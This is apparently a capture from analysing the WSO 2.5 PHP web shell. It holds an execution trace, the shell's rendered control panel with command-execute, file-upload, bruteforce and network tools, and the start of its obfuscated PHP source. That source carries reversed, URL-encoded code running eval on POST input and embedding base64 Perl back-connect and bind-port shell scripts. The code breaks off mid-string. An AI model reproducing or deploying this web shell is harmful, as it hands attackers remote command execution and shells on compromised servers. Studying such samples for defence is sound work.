4 212 0 0.016181 1155224 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '00977a.php'
4 212 1 0.016194 1155296
4 212 R '00977a.php'
4 213 0 0.016207 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '00977a.php'
4 213 1 0.016220 1155360
4 213 R '00977a.php'
4 214 0 0.016233 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '00977a.php'
4 214 1 0.016246 1155360
4 214 R '00977a.php'
4 215 0 0.016259 1155448 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 '00977a.php'
4 215 1 0.016271 1155520
4 215 R '00977a.php'
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1336 $l = 1
4 216 0 0.016301 1154872 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'prepend.php'
4 216 1 0.016315 1154944
4 216 R 'prepend.php'
4 217 0 0.016329 1154936 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'prepend.php'
4 217 1 0.016342 1155008
4 217 R 'prepend.php'
4 218 0 0.016355 1155016 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'prepend.php'
4 218 1 0.016369 1155208
4 218 R 'prepend.php'
4 219 0 0.016383 1155000 wsoViewSize 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 57
5 220 0 0.016396 1155000 sprintf 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 638 2 '%u' 57
5 220 1 0.016410 1155384
5 220 R '57'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 638 $s = '57'
4 219 1 0.016435 1155032
4 219 R '57 B'
4 221 0 0.016449 1155096 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1332 1 'prepend.php'
4 221 1 0.016462 1155168
4 221 R 'prepend.php'
4 222 0 0.016476 1155224 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 'prepend.php'
4 222 1 0.016489 1155296
4 222 R 'prepend.php'
4 223 0 0.016502 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 'prepend.php'
4 223 1 0.016515 1155360
4 223 R 'prepend.php'
4 224 0 0.016529 1155288 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 'prepend.php'
4 224 1 0.016542 1155360
4 224 R 'prepend.php'
4 225 0 0.016555 1155448 urlencode 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1334 1 'prepend.php'
4 225 1 0.016568 1155520
4 225 R 'prepend.php'
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1336 $l = 0
4 226 0 0.016593 1154776 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1344 1 '/var/www/html/uploads/'
4 226 1 0.016607 1154968
4 226 R '/var/www/html/uploads/'
4 227 0 0.016775 1154776 class_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1350 1 'ZipArchive'
4 227 1 0.016792 1154816
4 227 R FALSE
4 228 0 0.016807 1154776 wsoFooter 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1368 0
5 229 0 0.016821 1154776 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 537 1 '/var/www/html/uploads/'
5 229 1 0.016839 1154816
5 229 R TRUE
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 537 $is_writable = ' <font color=\'green\'>(Writeable)</font>'
5 230 0 0.016867 1154776 htmlspecialchars 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 547 1 '/var/www/html/uploads/'
5 230 1 0.016882 1154968
5 230 R '/var/www/html/uploads/'
4 228 1 0.016900 1154776
3 30 1 0.016910 1146776
0.016947 1065232
TRACE END [2023-02-13 00:32:56.707730]
<html><head><meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"><title>localhost - WSO 2.5</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '/var/www/html/';
var a_ = 'FilesMan'
var charset_ = 'Windows-1251';
var p1_ = '';
var p2_ = '';
var p3_ = '';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('/00977a.php', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
</head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="p3">
<input type="hidden" name="charset">
</form><table class="info" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><td width="1"><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 <a href="http://exploit-db.com/search/?action=search&filter_description=Linux+Kernel+5.15.0" target="_blank">[exploit-db.com]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 <span>Safe mode:</span> <font color="green"><b>OFF</b></font> <a href="#" onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> 2023-02-12 21:32:25<br>216.08 GB <span>Free:</span> 184.55 GB (85%)<br><a href="#" onclick="g("FilesMan","/")">/</a><a href="#" onclick="g("FilesMan","/var/")">var/</a><a href="#" onclick="g("FilesMan","/var/www/")">www/</a><a href="#" onclick="g("FilesMan","/var/www/html/")">html/</a> <font color="#25ff00">drwxrwxrwx</font> <a href="#" onclick="g('FilesMan','/var/www/html','','','')">[ home ]</a><br></td><td width="1" align="right"><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset"><option value="UTF-8">UTF-8</option><option value="Windows-1251" selected="">Windows-1251</option><option value="KOI8-R">KOI8-R</option><option value="KOI8-U">KOI8-U</option><option value="cp866">cp866</option></optgroup></select><br><span>Server IP:</span><br>::1<br><span>Client IP:</span><br>::1</nobr></td></tr></tbody></table><table style="border-top:2px solid #333;" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><th width="11%">[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th width="11%">[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th width="11%">[ <a href="#" onclick="g('Console',null,'','','')">Console</a> ]</th><th width="11%">[ <a href="#" onclick="g('Sql',null,'','','')">Sql</a> ]</th><th width="11%">[ <a href="#" onclick="g('Php',null,'','','')">Php</a> ]</th><th width="11%">[ <a href="#" onclick="g('StringTools',null,'','','')">String tools</a> ]</th><th width="11%">[ <a href="#" onclick="g('Bruteforce',null,'','','')">Bruteforce</a> ]</th><th width="11%">[ <a href="#" onclick="g('Network',null,'','','')">Network</a> ]</th><th width="11%">[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></tbody></table><div style="margin:5"><h1>File manager</h1><div class="content"><script>p1_=p2_=p3_="";</script><script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name="files" method="post"></form><tbody><tr><th width="13px"><input type="checkbox" onclick="sa()" class="chkbx"></th><th><a href="#" onclick="g("FilesMan",null,"s_name_0")">Name</a></th><th><a href="#" onclick="g("FilesMan",null,"s_size_0")">Size</a></th><th><a href="#" onclick="g("FilesMan",null,"s_modify_0")">Modify</a></th><th>Owner/Group</th><th><a href="#" onclick="g("FilesMan",null,"s_perms_0")">Permissions</a></th><th>Actions</th></tr><tr><td><input type="checkbox" name="f[]" value="." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/.');"><b>[ . ]</b></a></td><td>dir</td><td>2023-02-12 21:32:24</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'.','chmod')"><font color="#25ff00">drwxrwxrwx</font></a></td><td><a href="#" onclick="g('FilesTools',null,'.', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'.', 'touch')">T</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value=".." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2023-02-12 21:32:24</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'..','chmod')"><font color="#25ff00">drwxrwxrwx</font></a></td><td><a href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr><td><input type="checkbox" name="f[]" value="00977a.php" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'00977a.php', 'view')">00977a.php</a></td><td>108.46 KB</td><td>2023-02-12 21:32:24</td><td>osboxes/osboxes</td><td><a href="#" onclick="g('FilesTools',null,'00977a.php','chmod')"><font color="white">-rw-rw-r--</font></a></td><td><a href="#" onclick="g('FilesTools',null,'00977a.php', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'00977a.php', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'00977a.php', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'00977a.php', 'download')">D</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'view')">beneri.se_malware_analysis</a></td><td>0 B</td><td>2023-02-12 21:32:24</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis','chmod')"><font color="white">-rw-r--r--</font></a></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a></td></tr><tr><td colspan="7">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="Windows-1251">
<select name="p1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete">Delete</option><option value="tar">Compress (tar.gz)</option></select> <input type="submit" value=">>"></td></tr></tbody></table></div>
</div>
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%" style="border-top:2px solid #333;border-bottom:2px solid #333;">
<tbody><tr>
<td><form onsubmit="g(null,this.c.value,"");return false;"><span>Change dir:</span><br><input class="toolsInp" type="text" name="c" value="/var/www/html/"><input type="submit" value=">>"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type="text" name="f"><input type="submit" value=">>"></form></td>
</tr><tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color="green">(Writeable)</font><br><input class="toolsInp" type="text" name="d"><input type="submit" value=">>"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color="green">(Writeable)</font><br><input class="toolsInp" type="text" name="f"><input type="submit" value=">>"></form></td>
</tr><tr>
<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type="text" name="c" value=""><input type="submit" value=">>"></form></td>
<td><form method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="p1" value="uploadFile">
<input type="hidden" name="charset" value="Windows-1251">
<span>Upload file:</span> <font color="green">(Writeable)</font><br><input class="toolsInp" type="file" name="f"><input type="submit" value=">>"></form><br></td>
</tr></tbody></table></div></body></html>
<?php
@error_reporting(0);@set_time_limit(0);
$code="%3Btixe%0D%0A%3B%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28cnuf_resu_llac%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29%5D%27a%27%5BTSOP_%24%28ytpme%21+%28fi%0D%0A%3B%27ofnIceS%27+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0Aesle%09%0D%0A%3Bnoitca_tluafed%24+%3D+%5D%27a%27%5BTSOP_%24%09%09%0D%0A%29%29noitca_tluafed%24+.+%27noitca%27%28stsixe_noitcnuf+%26%26+%29noitca_tluafed%24%28tessi%28fi%09%0D%0A%29+%29%5D%27a%27%5BTSOP_%24%28ytpme+%28fi%0D%0A%7D%0D%0A%7D%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%7B+esle+%7D%09%0D%0A%3B%29a%24%28ezilaires+ohce%09%09%0D%0A%3B%29%09%09%0D%0A%29%27edom_efas%27%28teg_ini%40+%3E%3D+%22edomefas%22%09%09%09%0D%0A%2CNOISREV_OSW+%3E%3D+%22noisrev_osw%22%09%09%09%0D%0A%2C%29%28noisrevphp+%3E%3D+%22noisrev_php%22%09%09%09%0D%0A%2C%29%28emanu_php+%3E%3D+%22emanu%22%09%09%09%0D%0A%28yarra+%3D+a%24%09%09%0D%0A%7B+%29%5D%271p%27%5BTSOP_%24%40%21%28fi%09%0D%0A%7B+%29%28CRnoitca+noitcnuf%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3B%29%22lp.cb%2Fpmt%2F%22%28knilnu++++++++++++%0D%0A%3B%22%3Eerp%2F%3C%22.%29%22lp.cb+perg+%7C+xua+sp%22%28xEosw.%22n%5Ctuo%24%3E1lm%3Dssalc+erp%3C%22+ohce%09%09%09%0D%0A%3B%291%28peels++++++++++++%0D%0A%3B%29%22%26+1%26%3E2+llun%2Fved%2F%3E1+%22.%5D%273p%27%5BTSOP_%24.%22+%22.%5D%272p%27%5BTSOP_%24.%22+lp.cb%2Fpmt%2F+lrep%22%28xEosw+%3D+tuo%24%09%09%09%0D%0A%3B%29p_tcennoc_kcab%24%2C%22lp.cb%2Fpmt%2F%22%28fc%09%09%09%0D%0A%7B+%29%27pcb%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%09%0D%0A%7D%09%09%0D%0A%3B%29%22lp.pb%2Fpmt%2F%22%28knilnu++++++++++++%0D%0A%3B%22%3Eerp%2F%3C%22.%29%22lp.pb+perg+%7C+xua+sp%22%28xEosw.%22n%5Ctuo%24%3E1lm%3Dssalc+erp%3C%22+ohce%09%09%09%0D%0A%3B%291%28peels++++++++++++%0D%0A%3B%29%22%26+1%26%3E2+llun%2Fved%2F%3E1+%22.%5D%272p%27%5BTSOP_%24.%22+lp.pb%2Fpmt%2F+lrep%22%28xEosw+%3D+tuo%24%09%09%09%0D%0A%3B%29p_trop_dnib%24%2C%22lp.pb%2Fpmt%2F%22%28fc%09%09%09%0D%0A%7B+%29%27ppb%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29w%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%29t%24%28edoced_46esab%40%2Cw%24%28etirwf%40%09%09%09%09%0D%0A%7B%29w%24%28fi%09%09%09%0D%0A%3B%29%27stnetnoc_tup_elif%27%28stsixe_noitcnuf%40+ro+%29%22w%22%2Cf%24%28nepof%40+%3D+w%24%09%09%09%0D%0A%7B+%29t%24%2Cf%24%28fc+noitcnuf%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%22%3Erb%3C%3Emrof%2F%3C%09%0D%0A%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C+%3E%2773313%27%3Deulav+%27trop%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3AtroP+%3E%27%22.+%5D%27RDDA_ETOMER%27%5BREVRES_%24+.%22%27%3Deulav+%27revres%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3ArevreS%09%0D%0A%3E%2Frb%3C%3Enaps%2F%3C%5Dlrep%5B++tcennoc-kcaB%3Enaps%3C%09%0D%0A%3E%22%5C%3Beslaf+nruter%3B%29eulav.trop.siht%2Ceulav.revres.siht%2C%27pcb%27%2Cllun%2Cllun%28g%22%5C%3DtimbuSno+%27pfn%27%3Deman+mrof%3C%09%0D%0A%3Emrof%2F%3C%09%0D%0A%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C+%3E%2773313%27%3Deulav+%27trop%27%3Deman+%27txet%27%3Depyt+tupni%3C+%3AtroP%09%0D%0A%3E%2Frb%3C%3Enaps%2F%3C%5Dlrep%5B+hs%2Fnib%2F+ot+trop+dniB%3Enaps%3C%09%0D%0A%3E%22%5C%3Beslaf+nruter%3B%29eulav.trop.siht%2C%27ppb%27%2Cllun%2Cllun%28g%22%5C%3DtimbuSno+%27pfn%27%3Deman+mrof%3C%09%0D%0A%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Csloot+krowteN%3E1h%3C%22+ohce%09%0D%0A%3B%22%3D0nCN0XCK0wOwACdphXZJkgCNsjTO90QgU2cvx2YJkgCNsjIuxFTMVESTRCIlRXdjVGelBCduF2QiAiTO90QgQnbpJHcgUWakBCf8BCTMVESTRCIjVGellQCK0wOi4kTPNkJ%2BICLSJVRER1Ug4WZw9WCJoQD7IiTO90Qm4jIsQVVPREVTBiblB3bJkgCNsjIO50TDZCPiwiTJREVTBiblB3bJkgCNsTKklGckACZl5WamVGZhgCImlGIismcvZGI09mbuF2QiASZpRWCJoQD7BSKpsmcvZWPklGckgSIoYWaJoQD7kyUs4kTPNEK0BXZjNWYJoQD7BSKxgSZslGa3pQD7IibcRncvBHIuVGdzlGbgQnbhNkIgUWakBCf8BSKzwyUo4WZ0NXaspQD7IibcRncvBHIuVGcvBCduF2QiASZpRGI8xHIpkSWOF0XSRERB5USs0FMbZ1RSFEJo4WafJHZkF2aj92csMFKk5WaipQD7kSMsIFREFURTVVRS91TTxCVFt0QPN1XM90UsMFK0B3brN2bzRXZzpQD7IibcRXZrN2bzBSZ0FWZyNGI05WYDJCIllGZgwHfgkSKnA3Y0dCKl1WYulnYvR3byBHdldGLNFURSR1Uft0QPNlJsQVROl0XGBlJsMFK0V2aj92cK0wO0V2aj92UgU2c1pQD9ByOpEDK0lGelByegkSMgwDIWdkUBBEKgYWaK0wOikWLgg2cv4Wai9iI9wETFh0UkoQDsJXZw9ibpJ2LyNXdvEyI%22%3Dp_trop_dnib%24%09%0D%0A%3B%227kiUSVERUNFKlN3bsNmCNsTKUV1TER1UoU2cvx2YK0wOp4USER1UoU2cvx2YK0wOpcSatACaz9ibpJ2LngSblR3c5NnCNsTKiQVRLN0TTZiPiACLSJVRER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLUV1TER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLOlERUNFKuVGcvpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKyRGZhBHJgwCVFt0QPNFK0NWZu52bjpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKvR3byBHJgwSTBVkUUN1XLN0TTBCLUVkTJ9lRQBCLUV0SD90UoQXZrN2bzpQD7kyJwNGdngSZtFmb5J2b09mcwRXZn1zb09mcwRiCNsTKi4GXhQCI6I3byJXRigSZpRGI8xHIpIHZkFWakACLdFzWWdkUBRCKul2XyRGZht2YvNXPyRGZhBHJK0wOpIibcFCJgojcvJncFJCKllGZgwHfgkSXwslVHJVQkgibvRXYfRXZulWPyRGZhlGJK0wO0V2aj92UgU2c1pQDsJXZw9ibpJ2LyNXdvEyI%22%3Dp_tcennoc_kcab%24%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28krowteNnoitca+noitcnuf%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D++++%0D%0A%3B%29%29%28rorre%3E-bd%24%28srahclaicepslmth+ohce++++++++%0D%0A%7B+esle+%7D%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Eerp%2F%3C%27.%29%5D%27elif%27%5Belif%24%28srahclaicepslmth.%27%3E1lm%3Dssalc+erp%3C%3E%2Frb%3C%27+ohce%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28eliFdaol%3E-bd%24+%3D+elif%24%09%09%09%09%0D%0A%7B+%29%27elifdaol%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28fi%09%09%09%0D%0A%7D++++++++++++%0D%0A%3B%22%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc++tupni%3C+%3Enaps%2F%3Celif+daoL%3Enaps%3C%3E%27%3Beslaf+nruter%3B%29%28timbus.fs.tnemucod%3Beulav.f.siht%3Deulav.2p.fs.tnemucod%3B%22%5Celifdaol%22%5C%3Deulav.1p.fs.d%27%3Dtimbusno+mrof%3C%22+ohce++++++++++++++++++++%0D%0A%29%29%28hctef%3E-bd%24%28fi++++++++++++++++%0D%0A%3B%29%22%27y%27+%3D+%60virp_eliF%60+DNA+%29%28RESU+%3D+%29%60tsoh%60+%2C%27%40%27+%2C%60resu%60%28tacnoc+EREHW+resu.lqsym+MORF+1+TCELES%22%28yreuq%3E-bd%24++++++++++++++++%0D%0A%7B+%29%27lqsym%27%3D%3D%5D%27epyt%27%5BTSOP_%24%28fi++++++++++++%0D%0A%3B%22%3E%2Frb%3C%3Emrof%2F%3C%3Eelbat%2F%3C%22+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%22%3Ert%2F%3C%3Edt%2F%3C%22+ohce%09%09%09%09%0D%0A%3B%22%3E%27etucexE%27%3Deulav+timbus%3Depyt+tupni%3C%3E%2Frb%3C%3Eaeratxet%2F%3C%22+ohce++++++++++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28srahclaicepslmth+ohce++++++++++++++++++++%0D%0A%29%29%27elifdaol%27+%3D%21+%5D%271p%27%5BTSOP_%24%28+%26%26+%29%5D%272p%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++%0D%0A%3B%22%3E%27xp001%3Athgieh%3B%25001%3Ahtdiw%27%3Delyts+%27yreuq%27%3Deman+aeratxet%3C%3E%27%3Beslaf+nruter%3B%29%28timbus.fs.tnemucod%3Beulav.yreuq.siht%3Deulav.2p.fs.d%3B%22%5Cyreuq%22%5C%3Deulav.1p.fs.d%27%3Dtimbusno+mrof%3C%3Emrof%2F%3C%3Erb%3C%22+ohce%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Evid%2F%3C%27.%29%29%28rorre%3E-bd%24%28srahclaicepslmth.%27+%3Eb%2F%3C%3ArorrE%3Eb%3C%3Evid%3C%27+ohce%09%09%09%09%09%09%0D%0A%7B+esle+%7D%09%09%09%09%09%0D%0A%3B%27%3Eelbat%2F%3C%27+ohce%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%27%3Ert%2F%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%09%0D%0A%3B%27%3Edt%2F%3C%27.%29%29eulav%24%28srahclaicepslmth%28rb2ln.%27%3Edt%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Edt%2F%3C%3Ei%2F%3Cllun%3Ei%3C%3Edt%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0A%29llun+%3D%3D+eulav%24%28fi%09%09%09%09%09%09%09%09%0D%0A%7B+%29eulav%24+%3E%3D+yek%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%09%0D%0A%3B1%3A2%3F1%3D%3Denil%24+%3D+enil%24%09%09%09%09%09%09%09%0D%0A%3B%27%3E%22%27.enil%24.%27l%22%3Dssalc+rt%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%09%0D%0A%3B2+%3D+enil%24%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Ert%3C%3Ert%2F%3C%27+ohce%09%09%09%09%09%09%09%09%0D%0A%3Beurt%3Deltit%24%09%09%09%09%09%09%09%09%0D%0A%3B%29meti%24%28teser%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Eht%2F%3C%27.yek%24.%27%3Eht%3C%27+ohce%09%09%09%09%09%09%09%09%09%0D%0A%29eulav%24+%3E%3D+yek%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%09%09%0D%0A%3B%27%3Ert%3C%27+ohce%09%09%09%09%09%09%09%09%0D%0A%7B%09%29eltit%24%21%28fi%09%09%09%09%09%09%09%0D%0A%7B%09%29%29%28hctef%3E-bd%24+%3D+meti%24%28elihw%09%09%09%09%09%09%0D%0A%3B1+%3D+enil%24%09%09%09%09%09%09%0D%0A%3B%27%3E%22929292%23%3Aroloc-dnuorgkcab%22%3Delyts+niam%3Dssalc+2%3Dgniddapllec+1%3Dgnicapsllec+%25001%3Dhtdiw+elbat%3C%27+ohce%09%09%09%09%09%09%0D%0A%3Beslaf+%3D+eltit%24%09%09%09%09%09%09%0D%0A%7B+%29eslaf+%3D%3D%21+ser%3E-bd%24%28fi%09%09%09%09%09%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%40%28yreuq%3E-bd%24%09%09%09%09%09%0D%0A%7B+%29%29%5D%272p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%27yreuq%27+%3D%3D+%5D%271p%27%5BTSOP_%24%40%28%28fi%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22%3Erb%3C%3Erb%3C%22+ohce%09%09%09%09%09%0D%0A%3B%2703%2C%27.%2903%2A%5D%273p%27%5BTSOP_%24%28.%27+TIMIL+%60%27.%5D%272p%27%5BTSOP_%24.%27%60+MORF+%2A+TCELES%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%2903%2A%5D%273p%27%5BTSOP_%24%28.%27+TESFFO+03+TIMIL+%27.%5D%272p%27%5BTSOP_%24.%27+MORF+%2A+TCELES%27+%3D+%5D%272p%27%5BTSOP_%24%09%09%09%09%09%09%0D%0A%29%27lqsgp%27%3D%3D%5D%27epyt%27%5BTSOP_%24%28fi%09%09%09%09%09%0D%0A%3B--%5D%273p%27%5BTSOP_%24++++++++++++++++++++%0D%0A%3B%22%3Ea%2F%3C%3Btg%26+txeN%3E%27%29%22+.+%291%2B%5D%273p%27%5BTSOP_%24%28+.+%27+%2C%22%27+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%27%3Dkcilcno+%23%3Dferh+a%3C+%22+ohce++++++++++++++++++++++++%0D%0A%29segap%24+%3C+%5D%273p%27%5BTSOP_%24%28fi++++++++++++++++++++%0D%0A%3B%22%3Ea%2F%3CverP+%3Btl%26%3E%27%29%22+.+%291-%5D%273p%27%5BTSOP_%24%28+.+%27+%2C%22%27+.+%5D%272p%27%5BTSOP_%24+.+%22%22%5C%28ts%27%3Dkcilcno+%23%3Dferh+a%3C+%22+ohce++++++++++++++++++++++++%0D%0A%291+%3E+%5D%273p%27%5BTSOP_%24%28fi++++++++++++++++++++%0D%0A%3B%22segap%24+fo+%22+ohce++++++++++++++++++++%0D%0A%3B%22%3E%22+.+%29%5D%273p%